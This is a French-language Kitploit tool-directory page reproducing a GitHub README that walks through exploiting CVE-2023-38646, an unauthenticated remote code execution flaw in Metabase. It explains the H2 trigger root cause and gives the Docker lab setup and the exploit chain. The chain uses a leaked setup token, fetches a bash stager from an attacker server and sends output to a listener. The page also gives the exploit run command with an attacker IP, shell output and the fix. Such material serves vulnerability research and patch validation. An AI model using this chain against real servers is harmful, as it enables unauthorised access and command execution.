Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
metabase-cve-2023-38646 — Repo contient le PoC et les étapes pour reproduire cve 2023-38646 | Kitploit
Outils/GitHubGitHub/kushiro45/metabase-cve-2023-38646
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRed TeamingDéveloppement de Charges Utiles
GitHubkushiro45/metabase-cve-2023-38646

metabase-cve-2023-38646

Repo contient le PoC et les étapes pour reproduire cve 2023-38646

Voir le dépôt
5il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

cd ~/metabase-poc cat > README.md << 'EOF'

CVE-2023-38646 — Exécution de code à distance sans authentification sur Metabase

Résumé

Score CVSS 9.8. Les versions de Metabase antérieures à 0.46.6.1 / 1.46.6.1 (ainsi que les branches antérieures équivalentes) exposent une RCE sans authentification via le point de terminaison /api/setup/validate, qui est destiné à valider les détails de connexion à la base de données lors de la configuration initiale, mais qui est accessible sans authentification même après que la configuration soit terminée.

Cause racine

Le point de terminaison accepte une charge utile de connexion à la base de données et, lorsque engine: h2 est spécifié avec une chaîne de connexion JDBC modifiée, permet d'intégrer du JavaScript arbitraire via la syntaxe CREATE TRIGGER ... AS $$//javascript de H2. Le corps du déclencheur s'exécute au moment de la validation, donnant à l'attaquant une exécution JavaScript à l'intérieur de la JVM — ce qui permet trivialement d'escalader vers l'exécution de commandes du système d'exploitation via java.lang.Runtime.getRuntime().exec().

Le problème sous-jacent est que le moteur de base de données H2 fait confiance au code intégré dans la chaîne de connexion dans le cadre de la « validation » d'une source de données, combiné au fait que Metabase expose ce chemin de validation sans authentification.

Environnement

  • Cible : image Docker officielle metabase/metabase:v0.46.6
  • Outillage de l'attaquant : Python 3, requests, termcolor
  • Source du PoC : Exploit-DB 51797 (Musyoka Ian, CVE-2023-38646)

Configuration

Exécuter Metabase vulnérable :

root@kitploit:~
docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
docker logs -f metabase   # attendre "Metabase Initialization COMPLETE"

Installer les dépendances de l'exploit :

root@kitploit:~
pip3 install requests termcolor

Chaîne d'exploitation

  1. Récupération du jeton de configuration — /api/session/properties divulgue un setup-token censé verrouiller le flux de configuration initiale unique, mais qui reste valide et utilisable même après la fin de la configuration.
  2. Sonde d'exploitabilité — l'attaquant met en place un serveur HTTP local ; le déclencheur H2 modifié fait que la cible effectue un rappel sortant vers celui-ci, confirmant l'exécution de JavaScript à l'intérieur du moteur H2.
  3. Exécution de commandes — un second déclencheur modifié utilise java.lang.Runtime.getRuntime().exec() pour récupérer un stager bash depuis le serveur HTTP de l'attaquant et rediriger la sortie de la commande vers un écouteur TCP brut, encodée en base64.

Exécution

root@kitploit:~
python3 51797.py -l <attacker_ip> -p 4444 -P 8000 -u http://localhost:3000
  • -l — IP de rappel de l'attaquant (passerelle du pont Docker lorsque la cible est un conteneur local, par ex. 172.17.0.1)
  • -p — port sur lequel le canal de données inversé se reconnecte
  • -P — port du serveur HTTP local servant le script stager
  • -u — URL de base de la cible Metabase

Lance une invite interactive metabase_shell > une fois que le rappel sans authentification confirme l'exploitabilité.

Résultat

metabase_shell > whoami metabase metabase_shell > id uid=2000(metabase) gid=2000(metabase) groups=2000(metabase),2000(metabase)

Exécution de commandes confirmée en tant que compte de service metabase — sans authentification, aucun identifiant requis. La gravité provient de la RCE accessible depuis le réseau sans aucune authentification, et non du niveau de privilège du shell obtenu.

Correctif

Corrigé dans Metabase 0.46.6.1 / 1.46.6.1 et versions ultérieures — le point de terminaison /api/setup/validate exige désormais que la configuration soit réellement incomplète, et les jetons de configuration sont invalidés une fois la configuration initiale terminée.

Avertissement

Pour une utilisation en laboratoire isolée uniquement. N'exécutez pas contre des instances Metabase que vous ne possédez pas ou pour lesquelles vous n'avez pas d'autorisation explicite de tester. EOF

Télécharger l’outil